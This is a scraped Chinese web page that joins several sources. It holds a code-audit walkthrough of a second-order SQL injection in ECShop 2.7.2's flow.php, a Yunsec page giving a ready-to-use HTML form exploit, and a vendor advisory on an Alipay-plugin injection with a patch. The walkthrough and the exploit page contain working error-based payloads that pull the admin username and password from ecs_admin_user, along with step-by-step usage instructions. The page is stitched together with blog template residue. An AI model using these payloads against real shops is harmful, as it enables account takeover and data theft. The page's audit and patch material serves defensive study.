ecshop注入漏洞修复 什么意思

ecshop2.7.2通杀注入漏洞
ecshop2.7.2通杀注入漏洞
这篇文章是学员穿越时空所写,ecshop注入通杀,在截稿前ecshop2.7.3已经修补了。
但是2.7.2还没有修补。
跟暗月大大学习代码审计有段日子,代码审计有了很大的提高,感谢暗月。
ecshop很早之前就更新到2.7.3,&围观了大部分代码,说真的漏洞,前台通杀漏洞真是挖不到了,后台一堆渣渣漏洞,没意思。
那我们将目光投向ecshop 2.7.2把
<span style="color: #.png
$_POST['goods_number']&没有过滤。
【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱,我们会在最短的时间内进行处理。
上一篇:【】【】温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!&&|&&
LOFTER精选
网易考拉推荐
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
从EXP可以看出漏洞文件flow.php,//执行step=consignee代码,可以看到province参数没过滤,我们在flow.php找到关键代码
flow.php - 375行:
$consignee = array(
& && &&&'address_id'& & =& empty($_POST['address_id']) ? 0&&: intval($_POST['address_id']),
& && &&&'consignee'& &&&=& empty($_POST['consignee'])&&? '' : trim($_POST['consignee']),
& && &&&'country'& && & =& empty($_POST['country'])& & ? '' : $_POST['country'],
& && &&&'province'& && &=& empty($_POST['province'])& &? '' : $_POST['province'],
& && &&&'city'& && && & =& empty($_POST['city'])& && & ? '' : $_POST['city'],
& && &&&'district'& && &=& empty($_POST['district'])& &? '' : $_POST['district'],
& && &&&'email'& && && &=& empty($_POST['email'])& && &? '' : $_POST['email'],
& && &&&'address'& && & =& empty($_POST['address'])& & ? '' : $_POST['address'],
& && &&&'zipcode'& && & =& empty($_POST['zipcode'])& & ? '' : make_semiangle(trim($_POST['zipcode'])),
& && &&&'tel'& && && &&&=& empty($_POST['tel'])& && &&&? '' : make_semiangle(trim($_POST['tel'])),
& && &&&'mobile'& && &&&=& empty($_POST['mobile'])& &&&? '' : make_semiangle(trim($_POST['mobile'])),
& && &&&'sign_building' =& empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
& && &&&'best_time'& &&&=& empty($_POST['best_time'])&&? '' : $_POST['best_time'],
从代码可以看到从POST传进来的数据除了address_id进行了intval转换,其它参数都没进行过滤直接放进$consignee 数组里面,我们接下来主要监控$consignee数组的传递,
flow.php - 392行:
& &if ($_SESSION['user_id'] & 0)
&& && &&&{
&& && && && &include_once(ROOT_PATH . 'includes/lib_transaction.php');
&& && && && &/* 如果用户已经登录,则保存收货人信息 */
&& && && && &$consignee['user_id'] = $_SESSION['user_id'];
&& && && && &save_consignee($consignee, true);
&& && &&&}
首先进来会判断用户登录没有,因为一但登录,$_SESSION['user_id'] 肯定有值,肯定进入if条件
save_consignee($consignee, true);&&//这一段$consignee数组进入save_consignee函数,进去看看,在进去之前我们也明白执行exp后
province等于& &&&3\') and (select 1 from(select count(*),concat((select
(select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user
limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a) and 1=1 #
'号之前的\不是因为我gpc,看位于
includes/init.php 文件第86-100行:
/* 对用户传入的变量进行转义操作。*/
if (!get_magic_quotes_gpc())
&& & if (!empty($_GET))
&& && &&&$_GET&&= addslashes_deep($_GET);
&& & if (!empty($_POST))
&& && &&&$_POST = addslashes_deep($_POST);
&& & $_COOKIE& &= addslashes_deep($_COOKIE);
&& & $_REQUEST&&= addslashes_deep($_REQUEST);
也就是说gpc没开的话,会使用addslashes_deep进行过滤addslashes_deep函数位于includes/lib_base.php,使用addslashes函数过滤值对数组的值也进行过滤,
好了进去明白传进来的值后,进入save_consignee函数看看
includes/lib_transaction.php 516行
function save_consignee($consignee, $default=false)
& & if ($consignee['address_id'] & 0)
& && &&&/* 修改地址 */
& && &&&$res =
$GLOBALS['db']-&autoExecute($GLOBALS['ecs']-&table('user_address'),
$consignee, 'UPDATE', 'address_id = ' . $consignee['address_id']." AND
`user_id`= '".$_SESSION['user_id']."'");
& && &&&/* 添加地址 */
& && &&&$res = $GLOBALS['db']-&autoExecute($GLOBALS['ecs']-&table('user_address'), $consignee, 'INSERT');
& && &&&$consignee['address_id'] = $GLOBALS['db']-&insert_id();
& & if ($default)
& && &&&/* 保存为用户的默认收货地址 */
& && &&&$sql = "UPDATE " . $GLOBALS['ecs']-&table('users') .
& && && && &" SET address_id = '$consignee[address_id]' WHERE user_id = '$_SESSION[user_id]'";
& && &&&$res = $GLOBALS['db']-&query($sql);
& & return $res !==
这个函数的作用是判断用户有没有收货地址,有的话就对数据库user_address表的address_id进行更新,没有就把$consignee数组值作为values()的值添加进user_address表,
这个时候因为addslashes函数的作用单引号被转义\' ,导致最后插入user_address表province字段值为3,因为province自动类型为smallint(5),如果传入为1111ssss这样的话,默认取整数,
我们看$consignee数组里面的值还是没改变的,还是
3\') and (select 1 from(select count(*),concat((select (select
(SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1 #
执行完这个函数继续往下看
flow.php -400行:
& && &&&/* 保存到session */& && &&&$_SESSION['flow_consignee'] = stripslashes_deep($consignee);&& && &&&ecs_header("Location: flow.php?step=checkout\n");&& && &&&
经过stripslashes_deep函数把我们的$consignee进行反转义传给 $_SESSION['flow_consignee'],也就是说这时候province的值为
3') and (select 1 from(select count(*),concat((select (select
(SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1 #
也就是说只要从$_SESSION['flow_consignee']&&这个数组里面取到province值进行数据库操作,我们就能注入,继续往下看
ecs_header("Location: flow.php?step=checkout\n");& &//执行step=checkout时代码
在flow.php 473行
$consignee = get_consignee($_SESSION['user_id']);& &//关键地方get_consignee函数,我们可以看到
位于includes/lib_order.php 1670行
function get_consignee($user_id)&{&& & if (isset($_SESSION['flow_consignee']))&& & {&& && &&&/* 如果存在session,则直接返回session中的收货人信息 */&&& && &&&return $_SESSION['flow_consignee'];&& & }&& & else&& & {&& && &&&/* 如果不存在,则取得用户的默认收货人信息 */&& && &&&$arr = array();&&& && &&&if ($user_id & 0)&& && &&&{&& && && && &/* 取默认地址 */& && && && &$sql = "SELECT ua.*".& && && && && && &&&" FROM " .
$GLOBALS['ecs']-&table('user_address') . "AS ua,
".$GLOBALS['ecs']-&table('users').' AS u '.&& && && && && && &&&" WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";&&& && && && &$arr = $GLOBALS['db']-&getRow($sql);& && &&&}&&& && &&&return $& & }&}
可以看到 判断$_SESSION['flow_consignee']存不存在,我们刚才赋值,所以存着,返回$_SESSION['flow_consignee']里面的值,也就是说
在flow.php 473行
$consignee = get_consignee($_SESSION['user_id']);& &//这个时候$consignee 就等于$_SESSION['flow_consignee']
现在我们追踪$consignee数组,继续往下
在flow.php 529行
$region& && && && &= array($consignee['country'], $consignee['province'], $consignee['city'], $consignee['district']);
从$consignee数组里面取值付给$region,接下来继续看
在flow.php 530行
$shipping_list& &&&= available_shipping_list($region);&&//把$region数组传到available_shipping_list里面,我们看available_shipping_list函数
位于includes/lib_order.php 79行
function available_shipping_list($region_id_list)&{&& & & & //print_r($region_id_list);&& & $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .&& && && && && & 's.shipping_desc, s.insure, s.support_cod, a.configure ' .&& && && && &'FROM ' . $GLOBALS['ecs']-&table('shipping') . ' AS s, ' .&& && && && && & $GLOBALS['ecs']-&table('shipping_area') . ' AS a, ' .&& && && && && & $GLOBALS['ecs']-&table('area_region') . ' AS r ' .&& && && && &'WHERE r.region_id ' . db_create_in($region_id_list) .&& && && && &' AND r.shipping_area_id = a.shipping_area_id AND
a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY
s.shipping_order';&& & return $GLOBALS['db']-&getAll($sql);&}
可以看到执行了SQL查询,我们主要看看db_create_in函数里面有没有把我们的province值进行过滤
位于includes/lib_common.php 30行
function db_create_in($item_list, $field_name = '')&{&& & if (empty($item_list))&& & {&& && &&&return $field_name . " IN ('') ";&& & }&& & else&& & {&& && &&&if (!is_array($item_list))&& && &&&{&& && && && &$item_list = explode(',', $item_list);&& && &&&}&& && &&&$item_list = array_unique($item_list);&& && &&&$item_list_tmp = '';&& && &&&foreach ($item_list AS $item)&& && &&&{&& && && && &if ($item !== '')&& && && && &{&& && && && && & $item_list_tmp .= $item_list_tmp ? ",'$item'" : "'$item'";&& && && && &}&& && &&&}&& && &&&if (empty($item_list_tmp))&& && &&&{&& && && && &return $field_name . " IN ('') ";&& && &&&}&& && &&&else&& && &&&{&& && && && &return $field_name . ' IN (' . $item_list_tmp . ') ';&& && &&&}&& & }&}
可以看到这个函数只不过是把我们传来的值构造成IN语句,没过滤,那么这时候就完全可以注入了
阅读(5531)|
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
历史上的今天
loftPermalink:'',
id:'fks_',
blogTitle:'ECSHOP全版本注入漏洞分析',
blogAbstract:'初学PHP,看了两天语法,找了ecshop全版本注入漏洞来分析,以小菜的角度沿着大牛的思路来前进,有代码审计的大牛看到就请笑一笑就够了,\n当然如果有错误之处,请指教!!!\n\nECSHOP全版本注入漏洞(二次注入)&&由y35u大牛于 22:42提交至乌云,原文连接http://www.wooyun.org/bugs/wooyun-,\n后由L.N.牛&& 发布漏洞分析文章,原文连接/0day/124.html,小菜初学完全是画蛇添足,验证所思所想的,求指点,求进步!!!\n\n首先看大牛给出的exp:\n\n把任意商品加入购物车在填写配送地址那一页,有地区选择\n\nflow.php?step=consignee&direct_shopping=1',
blogTag:'',
blogUrl:'blog/static/',
isPublished:1,
istop:false,
modifyTime:0,
publishTime:9,
permalink:'blog/static/',
commentCount:0,
mainCommentCount:0,
recommendCount:0,
bsrk:-100,
publisherId:0,
recomBlogHome:false,
currentRecomBlog:false,
attachmentsFileIds:[],
groupInfo:{},
friendstatus:'none',
followstatus:'unFollow',
pubSucc:'',
visitorProvince:'',
visitorCity:'',
visitorNewUser:false,
postAddInfo:{},
mset:'000',
remindgoodnightblog:false,
isBlackVisitor:false,
isShowYodaoAd:false,
hostIntro:'',
hmcon:'1',
selfRecomBlogCount:'0',
lofter_single:''
{list a as x}
{if x.moveFrom=='wap'}
{elseif x.moveFrom=='iphone'}
{elseif x.moveFrom=='android'}
{elseif x.moveFrom=='mobile'}
${a.selfIntro|escape}{if great260}${suplement}{/if}
{list a as x}
推荐过这篇日志的人:
{list a as x}
{if !!b&&b.length>0}
他们还推荐了:
{list b as y}
转载记录:
{list d as x}
{list a as x}
{list a as x}
{list a as x}
{list a as x}
{if x_index>4}{break}{/if}
${fn2(x.publishTime,'yyyy-MM-dd HH:mm:ss')}
{list a as x}
{if !!(blogDetail.preBlogPermalink)}
{if !!(blogDetail.nextBlogPermalink)}
{list a as x}
{if defined('newslist')&&newslist.length>0}
{list newslist as x}
{if x_index>7}{break}{/if}
{list a as x}
{var first_option =}
{list x.voteDetailList as voteToOption}
{if voteToOption==1}
{if first_option==false},{/if}&&“${b[voteToOption_index]}”&&
{if (x.role!="-1") },“我是${c[x.role]}”&&{/if}
&&&&&&&&${fn1(x.voteTime)}
{if x.userName==''}{/if}
网易公司版权所有&&
{list x.l as y}
{if defined('wl')}
{list wl as x}{/list}4632次查看&&&
学员渗透录十五 ecshop2.7.2通杀注入漏洞
作者:穿越时空
AD:学渗透找暗月,暗月欢迎你的加入
这篇文章是学员穿越时空所写,ecshop注入通杀,在截稿前ecshop2.7.3已经修补了。
但是2.7.2还没有修补。
跟暗月大大学习代码审计有段日子,代码审计有了很大的提高,感谢暗月。ECSHOP各版本flow页注入漏洞 利用方法&EXP>>脚本渗透>>中国云安网 Www.Yunsec.Net -
热门关键字:           
ECSHOP各版本flow页注入漏洞 利用方法&EXP
摘要:漏洞原文作者见:ECShop全版本SQL注入0day http://www.yunsec.net/a/security/bugs/script/181.html 注入发生在flow.php这个文件: elseif ($_REQUEST['step'] == 'consignee') { .... /*保存收货人信息*/ $consignee = array( 'address_id' = e...
原文作者见:ECShop全版本0day http://www.yunsec.net/a/security/bugs/script/181.html
注入发生在flow.php这个文件:
elseif ($_REQUEST['step'] == 'consignee')
/*保存收货人信息*/
$consignee = array(
& &'address_id'& & =& empty($_POST['address_id']) ? 0&&: intval($_POST['address_id']),
& &'consignee'& &&&=& empty($_POST['consignee'])&&? '' : trim($_POST['consignee']),
& &'country'& && & =& empty($_POST['country'])& & ? '' : $_POST['country'],
& &'province'& && &=& empty($_POST['province'])& &? '' : $_POST['province'],
& &'city' =& empty($_POST['city'])& && & ? '' : $_POST['city'],
& &'district'& && &=& empty($_POST['district'])& &? '' : $_POST['district'],
& &'email'=& empty($_POST['email'])& && &? '' : $_POST['email'],
& &'address'& && & =& empty($_POST['address'])& & ? '' : $_POST['address'],
& &'zipcode'& && & =& empty($_POST['zipcode'])& & ? '' : make_semiangle(trim($_POST['zipcode'])),
& &'tel'&&=& empty($_POST['tel'])& && &&&? '' : make_semiangle(trim($_POST['tel'])),
& &'mobile'& && &&&=& empty($_POST['mobile'])& &&&? '' : make_semiangle(trim($_POST['mobile'])),
& &'sign_building' =& empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
& &'best_time'& &&&=& empty($_POST['best_time'])&&? '' : $_POST['best_time'],
if ($_SESSION['user_id'] & 0){
& &include_once(ROOT_PATH . 'includes/lib_transaction.php');
& &/* 如果用户已经登录,则保存收货人信息 */
& &$consignee['user_id'] = $_SESSION['user_id'];
& &save_consignee($consignee, true);
/* 保存到session */
& && &&&$_SESSION['flow_consignee'] = stripslashes_deep($consignee);
& && &&&ecs_header(&Location: flow.php?step=checkout\n&);
对POST取值没做处理
原作者对漏洞的描述是:
把任意商品加入购物车在填写配送地址那一页,有地区选择,随便选个地区,post数据为
country=1&province=11&city=152&district=1294&consignee=1111111&email=&address=1111111&zipcode=&tel=1111111&mobile=&sign_building=&best_time=&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
修改province这个变量,可以进行错误回显注入
那么我给个代码,登陆目标网站,注册,选任意一件商品加入到购物车,然后结算,将下面的代码保存为html就可以注入了
&form name=&form1& method=&post&&
ECSHOP通版本注入漏洞 2012圣诞版简单EXP [ Silic Group Hacker Army ]&input name=&country& type=&text& style=&display:none& value=&1&/&&br /&
&textarea rows=&5& style=&font-family:Times New Rfont-size:14& cols=&80& name=&province&&11'and(select 1 from(select count(*),concat(floor(rand(0)*2),0x3a,(select(select(SELECT concat(user_name,0x3a,password)FROM ecs_admin_user limit 0,1))from information_schema.tables limit 0,1))x from information_schema.tables group by x)a) and 1=1#&/textarea&
&input name=&district& type=&text& style=&display:none& value=&1294&/&
&input name=&consignee& type=&text& style=&display:none& value=&1111111&/&
&input name=&email& type=&text& style=&display:none& value=&&/&
&input name=&address& type=&text& style=&display:none& value=&111111&/&
&input name=&tel& type=&text& style=&display:none& value=&1111111&/&
&input name=&step& type=&text& style=&display:none& value=&consignee&/&
&input name=&act& type=&text& style=&display:none& value=&checkout&/&&br /&&br /&
地址:&input name=&theAction& type=&text& id=&theAction& value=&/flow.php?step=consignee& size=&50&&&br /&&br /&
&input type=&submit& value=&配送至这个地址& onClick=&this.form.action=this.form.theAction.& name=&Submit&&&br/&&br /&
// 云 www.yunsec.net
效果如下:
*注:原作者贴出的漏洞描述中,province=11')xxxx....语句,经本文作者测试,有的版本是不需要括号)闭合的,大家可以这个语句限mysql 5.x版本,4.x不适用。
补充一下,如果使用不成功,注意看报错语句:MySQL server error report:Array ( [0] =& Array ( [message] =& MySQL Query Error ) [1] =& Array ( [sql] =& SELECT region_id, region_name FROM `asky880`.`jf_region` WHERE r。看到了没, 这个网站更改了数据库的默认名字,在exp里面也要相应的修改,把ecs_admin_user改为jf_admin_user
标签分类:Bugtraq ID:
CNCAN ID:CNCAN-
漏洞发布时间:
漏洞更新时间:
SQL注入错误
不受影响系统
远程攻击者可以利用漏洞控制应用系统。
攻击所需条件
攻击者必须访问ECShop。
ECShop是一款国内流行的网店程序。
ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/modules/payment/alipay.php文件中,该文件是ECshop的支付宝插件。由于ECShop使用了str_replace函数做字符串替换,黑客可绕过单引号限制构造SQL注入语句。只要开启支付宝支付插件就能利用该漏洞获取网站数据,且不需要注册登入。GBK与UTF-8版本ECshop均存在此漏洞。
临时解决方案
&1.关闭支付宝插件
&2.修改/includes/modules/payment/alipay.php文件中
&$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);
&$order_sn = trim($order_sn);
&修改成如下代码
&$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);
&$order_sn = trim(addslashes($order_sn));
厂商解决方案
用户可参考如下厂商提供的安全公告获得补丁信息:
漏洞提供者
漏洞消息链接
漏洞消息标题
360独家发现并协助修复ECShop插件高危漏洞
& 启明星辰 版权所有
京公网安备号

我要回帖

更多关于 ecshop代码注入漏洞 的文章

 

随机推荐